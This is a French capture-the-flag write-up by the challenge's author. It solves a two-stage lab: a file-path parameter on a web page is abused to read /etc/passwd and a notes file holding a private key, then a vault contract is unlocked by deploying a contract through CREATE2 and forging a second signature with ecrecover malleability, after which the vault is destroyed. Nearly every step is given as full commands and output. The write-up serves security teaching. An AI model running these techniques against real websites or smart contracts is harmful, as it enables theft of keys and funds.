ByBreizh - K.L.M
Description :
1
2
3
4
5
6
7
|
Oh non, la plateforme ByBreizh a été hackée par un Normand nommé CrêpesMaster. Il a volé toutes les crypto-monnaies des utilisateurs.
Il aurait apparement créé une plateforme nommée ByNormandie pour se moquer de nous ! D'après les informations que nous avons, il serait possible de récupérer la clé privée de son portefeuille et d'accéder à son contrat intelligent lui permettant de gérer ses fonds.
Nous avons besoin de vous, trouvez sa clé privée en exploitant son site web et récupérez les fonds volés en exploitant les contrats intelligents que vous trouverez ci-joint. (La factory est déjà déployée, à vous de la trouver :))
La clé privée de CrêpesMaster est dans le fichier `/home/crepesmaster/notes.txt` sur le serveur web.
|
Alors ce challenge c’est un peu mon Ĺ“uvre prĂ©fĂ©rĂ©e, j’ai mis du temps Ă le crĂ©er et Ă©galement Ă le rĂ©soudre (oui).
Il y a deux Ă©tapes distinctes, l’exploitation du site web puis l’exploitation du contrat.
On commence par l’exploitation du site web.
Site web
DĂ©couverte
On arrive sur un super site qui nous permet de voir le prix de certaines cryptos :
Et mĂŞme de voir la courbe des 7j derniers.

Enfin, on peut voir la description du profil de Mr CrepesMaster.

Bon maintenant il va falloir exploiter ce super site web :)
En se baladant sur les pages, on remarque quelque chose dans le code de la page qui permet d’afficher les courbes :
1
2
3
4
5
6
|
<form method="get" action="/crypto/ethereum">
<input type="text" name="secret_file" placeholder="Chemin du fichier" class="w-full p-2 bg-gray-700 rounded mb-4">
<button type="submit" class="bg-red-500 hover:bg-red-700 text-white py-2 px-4 rounded">
Accéder aux logs
</button>
</form>
|
Exploitation
On teste alors l’ajout de l’argument secret_file
dans l’url avec /etc/passwd
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
<div id="secretModule" class="bg-gray-800 rounded-lg p-4 shadow-lg mb-8" style="display: none;">
<h2 class="text-2xl font-bold mb-4">Accès aux logs internes</h2>
<p class="mb-4">
Dans le cadre de ByNormandie, seuls les initiés peuvent consulter les logs internes du système.
Entrez le chemin du fichier pour accéder aux informations.
</p>
<form method="get" action="/crypto/ethereum">
<input type="text" name="secret_file" placeholder="Chemin du fichier" class="w-full p-2 bg-gray-700 rounded mb-4">
<button type="submit" class="bg-red-500 hover:bg-red-700 text-white py-2 px-4 rounded">
Accéder aux logs
</button>
</form>
<div class="mt-4 p-4 bg-gray-700 rounded">
<h3 class="text-xl font-bold mb-2">Logs internes :</h3>
<pre class="whitespace-pre-wrap">root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
nginx:x:101:101:nginx user:/nonexistent:/bin/false
challenge:x:666:666:,,,:/challenge:/bin/bash
</pre>
</div>
</div>
|
C’est exactement ce qu’on cherche ! Maintenant, on va reprendre le chemin de fichier qu’on a dans la description : /home/crepesmaster/notes.txt
On récupère ce message :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
Quels nullos ces bretons, et dire qu'ils avaient 5 signataires et qu'ils sont tous tombes dans le panneau...
Il faut que je mette ma cle privee quelque part sinon je vais la perdre.
0x3da2b9f371d75f03e91bbbeb1da81fac34721d71a2b12bd1ae547426a4b4f559
Aller, plus qu'a attendre quelques jours le temps de blanchir tout cet argent.
LA BRETAGNE EST FINIE
D'ailleurs, je ne dois pas oublier que j'ai mis en place un contrat cle qui permet de deverouiller les interactions avec mon vault :))
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Keyy {
string public Key;
constructor() {
Key = "Normandie4ever";
}
}
salt : 0xad0a990189248f3b99ddf7978b28654f5261b05830d2b4356927726d9528810a
il n'y a que moi qui sait comment je peux deployer ce contrat a la bonne adresse hehehe. Et surtout uniquement moi qui connait l'adresse de ma factory :)
#Il n'y a pas de fautes d'orthographe, je ne pouvais juste pas mettre d'accents (je ne sais pas pourquoi).
|
NICE ! On va pouvoir se connecter Ă la blockchain !
Blockchain
Infos
On arrive sur le serveur blockchain qui ne nous donnais pas de clé privée avec notre nouvelle clé privée hehe !
On rĂ©cupère l’adresse du contrat cible et le RPC et on exporte nos variables directement :
1
2
3
|
export PK=0x3da2b9f371d75f03e91bbbeb1da81fac34721d71a2b12bd1ae547426a4b4f559
export RPC=<url>
export TAR=<address contract>
|
DĂ©couverte
Avec le challenge sont joints deux contrats. Le premier contrat agit un peu comme un Vault personnel qui permet après certaines conditions de faire des mouvements de fonds. Le second est un contrat factory typique d’un dĂ©ploiement Ă partir de CREATE2.
Nous allons chercher Ă exploiter le premier.
La partie qui nous intéresse est la suivante :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
function authenticate(
bytes32 hash,
uint8 v1, bytes32 r1, bytes32 s1,
uint8 v2, bytes32 r2, bytes32 s2
) public {
require(!unlocked, "Vault already unlocked");
require(msg.sender == owner, "Only owner can unlock the vault");
string memory key = IKey(keyContract).Key();
require(
keccak256(abi.encodePacked("Normandie4ever")) == keccak256(abi.encodePacked(key)),
"Invalid Key contract"
);
require(abi.encodePacked(v1, r1, s1).length == 65, "Signature 1 must be 65 bytes");
require(abi.encodePacked(v2, r2, s2).length == 65, "Signature 2 must be 65 bytes");
bytes32 sig1Hash = keccak256(abi.encodePacked(v1, r1, s1));
bytes32 sig2Hash = keccak256(abi.encodePacked(v2, r2, s2));
require(!usedSignatures[sig1Hash], "Signature 1 already used");
require(!usedSignatures[sig2Hash], "Signature 2 already used");
require(sig1Hash != sig2Hash, "Identical signatures not allowed");
usedSignatures[sig1Hash] = true;
usedSignatures[sig2Hash] = true;
address signer1 = _recoverSigner(hash, v1, r1, s1);
address signer2 = _recoverSigner(hash, v2, r2, s2);
require(_isAuthorized(signer1), "Signer1 not authorized");
require(_isAuthorized(signer2), "Signer2 not authorized");
unlocked = true;
emit VaultUnlocked(msg.sender);
}
|
On remarque plusieurs choses dans cette fonction, il nous faut pour débloquer le vault, deux signatures valides et un contrat clé qui renvoie la bonne clé.
D’ailleurs, en parlant de clĂ©, ce contrat est Ă une adresse fixe c’est bizarre.
On vĂ©rifie qu’elle contient du code :
1
2
|
$ cast code 0xDbCA158868a2701A82Fa2C7748038363eEFE07cf -r $RPC
0x
|
Ah ça c’est très embĂŞtant…
Contrat clé
Mais on se rappelle qu’on a un sel dans le notes.txt hehehe et qu’il parle d’une factory dĂ©jĂ dĂ©ployĂ©e…
Notre première mission va donc ĂŞtre de dĂ©ployer un contrat Ă cette adresse prĂ©cise. On connait l’opcode CREATE2 et on sait qu’il nous faut le contrat factory pour l’utiliser.
On va donc aller rĂ©cupĂ©rer l’adresse de la factory en la calculant.
En inspectant les diffĂ©rents blocs, on se penche sur le bloc 1, on remarque un dĂ©ploiement d’un gros contrat, on peut supposer que c’est le contrat challenge, alors on passe au bloc 2 et on remarque le dĂ©ploiement d’un contrat moins long, surement la factory. D’ailleurs si on compile nous mĂŞme la factory et qu’on compare les deux bytecodes, on retombe exactement sur le mĂŞme !
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
klm@KLM:~$ cast tx 0x5a1be87678ed3c83a6ba481feceb089771445ca58f2c94b2aecf49b9fa94e62f -r $RPC
blockHash 0x267e593bda86bbf260db70821156279710ffdc515744958aa0336c844eba118c
blockNumber 2
from 0x08E68BcF51DBa8D3d3A4C99cF8324e7BfFC09419
gas 541366
gasPrice 886186260
hash 0x5a1be87678ed3c83a6ba481feceb089771445ca58f2c94b2aecf49b9fa94e62f
input 0x6080604052348015600e575f5ffd5b506106978061001c5f395ff3fe608060405260043610610028575f3560e01c8063481286e61461002c57806366cfa05714610068575b5f5ffd5b348015610037575f5ffd5b50610052600480360381019061004d9190610213565b610098565b60405161005f9190610290565b60405180910390f35b610082600480360381019061007d9190610418565b6100d4565b60405161008f9190610290565b60405180910390f35b5f60ff60f81b3084846040516020016100b49493929190610534565b604051602081830303815290604052805190602001205f1c905092915050565b5f83471015610118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161010f906105db565b60405180910390fd5b8282516020840186f590505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161018890610643565b60405180910390fd5b7ff40fcec21964ffb566044d083b4073f29f7f7929110ea19e1b3ebe375d89055e816040516101c09190610290565b60405180910390a19392505050565b5f604051905090565b5f5ffd5b5f5ffd5b5f819050919050565b6101f2816101e0565b81146101fc575f5ffd5b50565b5f8135905061020d816101e9565b92915050565b5f5f60408385031215610229576102286101d8565b5b5f610236858286016101ff565b9250506020610247858286016101ff565b9150509250929050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61027a82610251565b9050919050565b61028a81610270565b82525050565b5f6020820190506102a35f830184610281565b92915050565b5f819050919050565b6102bb816102a9565b81146102c5575f5ffd5b50565b5f813590506102d6816102b2565b92915050565b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61032a826102e4565b810181811067ffffffffffffffff82111715610349576103486102f4565b5b80604052505050565b5f61035b6101cf565b90506103678282610321565b919050565b5f67ffffffffffffffff821115610386576103856102f4565b5b61038f826102e4565b9050602081019050919050565b828183375f83830152505050565b5f6103bc6103b78461036c565b610352565b9050828152602081018484840111156103d8576103d76102e0565b5b6103e384828561039c565b509392505050565b5f82601f8301126103ff576103fe6102dc565b5b813561040f8482602086016103aa565b91505092915050565b5f5f5f6060848603121561042f5761042e6101d8565b5b5f61043c868287016102c8565b935050602061044d868287016101ff565b925050604084013567ffffffffffffffff81111561046e5761046d6101dc565b5b61047a868287016103eb565b9150509250925092565b5f7fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b5f819050919050565b6104c96104c482610484565b6104af565b82525050565b5f8160601b9050919050565b5f6104e5826104cf565b9050919050565b5f6104f6826104db565b9050919050565b61050e61050982610270565b6104ec565b82525050565b5f819050919050565b61052e610529826101e0565b610514565b82525050565b5f61053f82876104b8565b60018201915061054f82866104fd565b60148201915061055f828561051d565b60208201915061056f828461051d565b60208201915081905095945050505050565b5f82825260208201905092915050565b7f466f6e647320696e737566666973616e747300000000000000000000000000005f82015250565b5f6105c5601283610581565b91506105d082610591565b602082019050919050565b5f6020820190508181035f8301526105f2816105b9565b9050919050565b7f4563686563206475206465706c6f69656d656e740000000000000000000000005f82015250565b5f61062d601483610581565b9150610638826105f9565b602082019050919050565b5f6020820190508181035f83015261065a81610621565b905091905056fea2646970667358221220dc6dbe557285fc715f24f63711dcfe3fcf58fcfaaeacfee136407d01f8219b9e64736f6c634300081c0033
nonce 1
r 0xdbd41eb9e1ee89e251c67ef20f7e597c12b61578ed9618d00760363bf551a5a0
s 0x151e55343610c3dc9b835072d8ca98da5e84de89e4ad32a11f6b1b64fffb803e
to
transactionIndex 0
v 1
value 0
yParity 1
|
Maintenant nous devons calculer l’adresse de la factory, pour ça on va se baser sur ma super conf chez Root-Me :)
Ou sinon on peut le faire grâce à cast
1
2
|
klm@KLM:~$ cast ca 0x08E68BcF51DBa8D3d3A4C99cF8324e7BfFC09419 --nonce 1
Computed Address: 0xad4967EA626502f0b8F89dc172F2BAa13397f1e2
|
Et on vĂ©rifie qu’on a bien le code :
1
2
|
klm@KLM:~$ cast code 0xad4967EA626502f0b8F89dc172F2BAa13397f1e2 -r $RPC
0x608060405260043610610028575f3560e01c8063481286e61461002c57806366cfa05714610068575b5f5ffd5b348015610037575f5ffd5b50610052600480360381019061004d9190610213565b610098565b60405161005f9190610290565b60405180910390f35b610082600480360381019061007d9190610418565b6100d4565b60405161008f9190610290565b60405180910390f35b5f60ff60f81b3084846040516020016100b49493929190610534565b604051602081830303815290604052805190602001205f1c905092915050565b5f83471015610118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161010f906105db565b60405180910390fd5b8282516020840186f590505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161018890610643565b60405180910390fd5b7ff40fcec21964ffb566044d083b4073f29f7f7929110ea19e1b3ebe375d89055e816040516101c09190610290565b60405180910390a19392505050565b5f604051905090565b5f5ffd5b5f5ffd5b5f819050919050565b6101f2816101e0565b81146101fc575f5ffd5b50565b5f8135905061020d816101e9565b92915050565b5f5f60408385031215610229576102286101d8565b5b5f610236858286016101ff565b9250506020610247858286016101ff565b9150509250929050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61027a82610251565b9050919050565b61028a81610270565b82525050565b5f6020820190506102a35f830184610281565b92915050565b5f819050919050565b6102bb816102a9565b81146102c5575f5ffd5b50565b5f813590506102d6816102b2565b92915050565b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61032a826102e4565b810181811067ffffffffffffffff82111715610349576103486102f4565b5b80604052505050565b5f61035b6101cf565b90506103678282610321565b919050565b5f67ffffffffffffffff821115610386576103856102f4565b5b61038f826102e4565b9050602081019050919050565b828183375f83830152505050565b5f6103bc6103b78461036c565b610352565b9050828152602081018484840111156103d8576103d76102e0565b5b6103e384828561039c565b509392505050565b5f82601f8301126103ff576103fe6102dc565b5b813561040f8482602086016103aa565b91505092915050565b5f5f5f6060848603121561042f5761042e6101d8565b5b5f61043c868287016102c8565b935050602061044d868287016101ff565b925050604084013567ffffffffffffffff81111561046e5761046d6101dc565b5b61047a868287016103eb565b9150509250925092565b5f7fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b5f819050919050565b6104c96104c482610484565b6104af565b82525050565b5f8160601b9050919050565b5f6104e5826104cf565b9050919050565b5f6104f6826104db565b9050919050565b61050e61050982610270565b6104ec565b82525050565b5f819050919050565b61052e610529826101e0565b610514565b82525050565b5f61053f82876104b8565b60018201915061054f82866104fd565b60148201915061055f828561051d565b60208201915061056f828461051d565b60208201915081905095945050505050565b5f82825260208201905092915050565b7f466f6e647320696e737566666973616e747300000000000000000000000000005f82015250565b5f6105c5601283610581565b91506105d082610591565b602082019050919050565b5f6020820190508181035f8301526105f2816105b9565b9050919050565b7f4563686563206475206465706c6f69656d656e740000000000000000000000005f82015250565b5f61062d601483610581565b9150610638826105f9565b602082019050919050565b5f6020820190508181035f83015261065a81610621565b905091905056fea2646970667358221220dc6dbe557285fc715f24f63711dcfe3fcf58fcfaaeacfee136407d01f8219b9e64736f6c634300081c0033
|
Nickel !
Maintenant on va tenter un deploiement avec le sel qu’on a rĂ©cupĂ©rĂ©. 0xad0a990189248f3b99ddf7978b28654f5261b05830d2b4356927726d9528810a
.
Mon convertisseur préféré si besoin : https://eth-toolbox.com/
on récupère le bytecode du contrat de clé donné avec :
1
2
3
|
$ forge inspect src/key.sol:Keyy bytecode
0x608060405234801561001057600080fd5b5060408051808201909152600e81526d2737b936b0b73234b29a32bb32b960911b602082015260009061004390826100e8565b506101a6565b634e487b7160e01b600052604160045260246000fd5b600181811c9082168061007357607f821691505b60208210810361009357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156100e357806000526020600020601f840160051c810160208510156100c05750805b601f840160051c820191505b818110156100e057600081556001016100cc565b50505b505050565b81516001600160401b0381111561010157610101610049565b6101158161010f845461005f565b84610099565b6020601f82116001811461014957600083156101315750848201515b600019600385901b1c1916600184901b1784556100e0565b600084815260208120601f198516915b828110156101795787850151825560209485019460019092019101610159565b50848210156101975786840151600019600387901b60f8161c191681555b50505050600190811b01905550565b61019a806101b56000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063f39d8c6514610030575b600080fd5b61003861004e565b60405161004591906100dc565b60405180910390f35b6000805461005b9061012a565b80601f01602080910402602001604051908101604052809291908181526020018280546100879061012a565b80156100d45780601f106100a9576101008083540402835291602001916100d4565b820191906000526020600020905b8154815290600101906020018083116100b757829003601f168201915b505050505081565b602081526000825180602084015260005b8181101561010a57602081860181015160408684010152016100ed565b506000604082850101526040601f19601f83011684010191505092915050565b600181811c9082168061013e57607f821691505b60208210810361015e57634e487b7160e01b600052602260045260246000fd5b5091905056fea264697066735822122044ec8427a98460fbe813a03818ae6054ddcef31b447bff71f92ff20c58c9499464736f6c634300081c0033
|
Ensuite on calcule le hash du bytecode :
1
2
3
|
$ cast k 0x608060405234801561001057600080fd5b5060408051808201909152600e81526d2737b936b0b73234b29a32bb32b960911b602082015260009061004390826100e8565b506101a6565b634e487b7160e01b600052604160045260246000fd5b600181811c9082168061007357607f821691505b60208210810361009357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156100e357806000526020600020601f840160051c810160208510156100c05750805b601f840160051c820191505b818110156100e057600081556001016100cc565b50505b505050565b81516001600160401b0381111561010157610101610049565b6101158161010f845461005f565b84610099565b6020601f82116001811461014957600083156101315750848201515b600019600385901b1c1916600184901b1784556100e0565b600084815260208120601f198516915b828110156101795787850151825560209485019460019092019101610159565b50848210156101975786840151600019600387901b60f8161c191681555b50505050600190811b01905550565b61019a806101b56000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063f39d8c6514610030575b600080fd5b61003861004e565b60405161004591906100dc565b60405180910390f35b6000805461005b9061012a565b80601f01602080910402602001604051908101604052809291908181526020018280546100879061012a565b80156100d45780601f106100a9576101008083540402835291602001916100d4565b820191906000526020600020905b8154815290600101906020018083116100b757829003601f168201915b505050505081565b602081526000825180602084015260005b8181101561010a57602081860181015160408684010152016100ed565b506000604082850101526040601f19601f83011684010191505092915050565b600181811c9082168061013e57607f821691505b60208210810361015e57634e487b7160e01b600052602260045260246000fd5b5091905056fea264697066735822122044ec8427a98460fbe813a03818ae6054ddcef31b447bff71f92ff20c58c9499464736f6c634300081c0033
0xc50cd2636c938f8abdc913197fe057dbd8f494a5fe67d5e29899b5c217dfbcbc
|
Puis on demande Ă notre factory de calculer l’adresse de dĂ©ploiement pour nous :
1
2
3
|
klm@KLM:~$ cast call $FACTORY "computeAddress(bytes32,bytes32)(address)" 0xad0a990189248f3b99ddf7978b28654f5261b05830d2b4356927726d9528810a 0xc50cd2636c938f8abdc913197fe057dbd8f494a5fe67d5e29899b5c217dfbcbc -r $RPC
0xDbCA158868a2701A82Fa2C7748038363eEFE07cf
|
On retrouve bien l’adresse visĂ©e !!! Alors on s’empresse de dĂ©ployer notre contrat clĂ© :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
klm@KLM:~$ cast send $FACTORY "deploy(uint256,bytes32,bytes)" 0 0xad0a990189248f3b99ddf7978b28654f5261b05830d2b4356927726d9528810a 0x608060405234801561001057600080fd5b5060408051808201909152600e81526d2737b936b0b73234b29a32bb32b960911b602082015260009061004390826100e8565b506101a6565b634e487b7160e01b600052604160045260246000fd5b600181811c9082168061007357607f821691505b60208210810361009357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156100e357806000526020600020601f840160051c810160208510156100c05750805b601f840160051c820191505b818110156100e057600081556001016100cc565b50505b505050565b81516001600160401b0381111561010157610101610049565b6101158161010f845461005f565b84610099565b6020601f82116001811461014957600083156101315750848201515b600019600385901b1c1916600184901b1784556100e0565b600084815260208120601f198516915b828110156101795787850151825560209485019460019092019101610159565b50848210156101975786840151600019600387901b60f8161c191681555b50505050600190811b01905550565b61019a806101b56000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063f39d8c6514610030575b600080fd5b61003861004e565b60405161004591906100dc565b60405180910390f35b6000805461005b9061012a565b80601f01602080910402602001604051908101604052809291908181526020018280546100879061012a565b80156100d45780601f106100a9576101008083540402835291602001916100d4565b820191906000526020600020905b8154815290600101906020018083116100b757829003601f168201915b505050505081565b602081526000825180602084015260005b8181101561010a57602081860181015160408684010152016100ed565b506000604082850101526040601f19601f83011684010191505092915050565b600181811c9082168061013e57607f821691505b60208210810361015e57634e487b7160e01b600052602260045260246000fd5b5091905056fea264697066735822122044ec8427a98460fbe813a03818ae6054ddcef31b447bff71f92ff20c58c9499464736f6c634300081c0033 -r $RPC --private-key $PK --value 0.1ether
blockHash 0x8c93288b68f14a5d88724c41f59156421e0fc9e03517d3af6ab89f9287faf73b
blockNumber 4
contractAddress
cumulativeGasUsed 174807
effectiveGasPrice 3681313506
from 0xa24b3f601C29a9d26af5C151D172ea716a23dF1c
gasUsed 174807
logs [{"address":"0xad4967ea626502f0b8f89dc172f2baa13397f1e2","topics":["0xf40fcec21964ffb566044d083b4073f29f7f7929110ea19e1b3ebe375d89055e"],"data":"0x000000000000000000000000dbca158868a2701a82fa2c7748038363eefe07cf","blockHash":"0x8c93288b68f14a5d88724c41f59156421e0fc9e03517d3af6ab89f9287faf73b","blockNumber":"0x4","transactionHash":"0x600365786262a9faff3b09d02430e60d3baeb30c789995c731e48ca5a7f32248","transactionIndex":"0x0","logIndex":"0x0","removed":false}]
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000400
root
status 1
transactionHash 0x600365786262a9faff3b09d02430e60d3baeb30c789995c731e48ca5a7f32248
transactionIndex 0
type 2
to 0xad4967EA626502f0b8F89dc172F2BAa13397f1e2
blobGasPrice "0x1"
|
Maintenant que l’on a rĂ©ussi Ă dĂ©ployer un contrat clĂ© nous allons pouvoir nous occuper de la signature.
Signature forging
On remarque que la fonction authenticate vĂ©rifie qu’elle possède bien deux signatures diffĂ©rentes pour un mĂŞme message, c’est plutĂ´t embĂŞtant, car on ne sait pas signer deux fois le mĂŞme message de façon diffĂ©rente. A moins que ce contrat utilise ecrecover…
1
2
3
|
function _recoverSigner(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
return ecrecover(hash, v, r, s);
}
|
Bon… Bon.. Bon.
Au charbon alors !
On signe un premier message :
1
2
3
|
$ cast wallet sign "Hacked By KLM" --private-key $PK
0x281fc9b229b14aaf59dc399f93d137879bad6524490fbd18a693568e71b3b5fd2402de01470404ae1af5e62d931f25dc6ba2abc5401dc0f5d893a94b063798b31c
|
Si jamais vous ne savez pas, une signature ethereum est composĂ©e en 3 parties, V,R et S qui sont des nombres, V varie entre 27 et 28 qui indiquent de quel cotĂ© de la courbe nous sommes, et R et S sont les coordonnĂ©es du point sur la courbe. Pour avoir deux signatures diffĂ©rentes qui renvoient la mĂŞme adresse, il nous suffit de prendre l’inverse du point :))
Maintenant on va calculer l’inverse du s de notre signature, pour rĂ©cupĂ©rer les valeurs Ă partir d’une signature, j’utilise un super contrat depuis remix :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8;
contract Sig{
function recoverSignerFromSignature(bytes32 _hash,bytes memory signature) public view returns(address) {
(uint8 v, bytes32 r, bytes32 s) = deconstructSignature(signature);
address signer = ecrecover(_hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function deconstructSignature(bytes memory signature) public pure returns (uint8, bytes32, bytes32) {
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return (v, r, s);
}
function constructSignature(uint8 v, bytes32 r, bytes32 s) public pure returns (bytes memory) {
return abi.encodePacked(r, s, v);
}
}
|
Avec ça on récupère :
V = 28
R = 0x281fc9b229b14aaf59dc399f93d137879bad6524490fbd18a693568e71b3b5fd
S = 0x2402de01470404ae1af5e62d931f25dc6ba2abc5401dc0f5d893a94b063798b3
Puis on inverse S :
1
2
3
4
|
>>> N = 115792089237316195423570985008687907852837564279074904382605163141518161494337
>>> s = 0x2402de01470404ae1af5e62d931f25dc6ba2abc5401dc0f5d893a94b063798b3
>>> hex(N-s)
'0xdbfd21feb8fbfb51e50a19d26ce0da224f0c31216f2adf45e73eb541c9fea88e'
|
Okay ! Maintenant il n’y a plus qu’Ă tout rĂ©capituler :
Hash du message “Hacked By KLM” = 0x0855d0ae394da2f074e1645fbfd3a337c39991cbde1e1c753d7016c27a655793
(calculé avec un script python, car je suis mauvais mdr)
V1 = 28
R1 = 0x281fc9b229b14aaf59dc399f93d137879bad6524490fbd18a693568e71b3b5fd
S1 = 0x2402de01470404ae1af5e62d931f25dc6ba2abc5401dc0f5d893a94b063798b3
V2 = 27
R2 = 0x281fc9b229b14aaf59dc399f93d137879bad6524490fbd18a693568e71b3b5fd
S2 = 0xdbfd21feb8fbfb51e50a19d26ce0da224f0c31216f2adf45e73eb541c9fea88e
On envoie alors la transaction et si tout passe on est content :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
$ cast send $TAR "authenticate(bytes32,uint8,bytes32,bytes32,uint8,bytes32,bytes32)" 0x0855d0ae394da2f074e1645fbfd3a337c39991cbde1e1c753d7016c27a655793 27 0x281fc9b229b14aaf59dc399f93d137879bad6524490fbd18a693568e71b3b5fd 0xdbfd21feb8fbfb51e50a19d26ce0da224f0c31216f2adf45e73eb541c9fea88e 28 0x281fc9b229b14aaf59dc399f93d137879bad6524490fbd18a693568e71b3b5fd 0x2402de01470404ae1af5e62d931f25dc6ba2abc5401dc0f5d893a94b063798b3 -r $RPC --private-key $PK
blockHash 0x6ed929768e391d87df5acdba140cb50b0172ca7250085b933db0602f23a20add
blockNumber 6
contractAddress
cumulativeGasUsed 116082
effectiveGasPrice 3521352801
from 0xa24b3f601C29a9d26af5C151D172ea716a23dF1c
gasUsed 116082
logs [{"address":"0x13b408cf7b336c7e851adbdb838d1688bb8fc036","topics":["0xb90f637c9ae38effeea06ad34c58331954898f0d0d4109d30b95e0426b291ff7","0x000000000000000000000000a24b3f601c29a9d26af5c151d172ea716a23df1c"],"data":"0x","blockHash":"0x6ed929768e391d87df5acdba140cb50b0172ca7250085b933db0602f23a20add","blockNumber":"0x6","transactionHash":"0x44c02df6cad48982c2ef4b69cef6cdceca6ed9cadeac347ab80ee3467ef16848","transactionIndex":"0x0","logIndex":"0x0","removed":false}]
logsBloom 0x00400000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000008000000000000000000000000000000000c00000004000000000200000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0x44c02df6cad48982c2ef4b69cef6cdceca6ed9cadeac347ab80ee3467ef16848
transactionIndex 0
type 2
to 0x13B408cf7b336C7e851AdBdb838D1688Bb8FC036
blobGasPrice "0x1"
|
On vérifie que la variable unlocked est à true :
1
2
3
|
$ cast call $TAR "unlocked()(bool)" -r $RPC
true
|
Win !
Il ne nous reste plus qu’Ă dĂ©truire le contrat :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
$ cast send $TAR "destroyVault(address)" $ME -r $RPC --private-key $PK
blockHash 0xedf9e1e0c33531ce78686772454443226fe7137f9cac0828b085f90fceafd78a
blockNumber 6
contractAddress
cumulativeGasUsed 28603
effectiveGasPrice 3521810385
from 0xa24b3f601C29a9d26af5C151D172ea716a23dF1c
gasUsed 28603
logs [{"address":"0x9a5f94e8a3f122d781aa25c63538142d7d0d2837","topics":["0x482e8f2a2dc7b46a160aebf650f384ce694e255a4666a541149766e362a5cde5","0x000000000000000000000000a24b3f601c29a9d26af5c151d172ea716a23df1c"],"data":"0x","blockHash":"0xedf9e1e0c33531ce78686772454443226fe7137f9cac0828b085f90fceafd78a","blockNumber":"0x6","transactionHash":"0xea1be66b829947870946c9a24c5e0647e0eedbb5115193f5267a7ffe64f4b8cc","transactionIndex":"0x0","logIndex":"0x0","removed":false}]
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000020000000000000000000000000000000000000000400000000000000000200000000000000000000000000000008000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000002000000000000000000000000000
root
status 1
transactionHash 0xea1be66b829947870946c9a24c5e0647e0eedbb5115193f5267a7ffe64f4b8cc
transactionIndex 0
type 2
to 0x9A5F94E8a3F122D781AA25c63538142d7d0D2837
blobGasPrice "0x1"
|
On rĂ©cupère ensuite notre flag sur la plateforme ! GG, j’attends vos retours sur le challenge, la partie du create2 me semblait un peu guessy mais on verra :)) !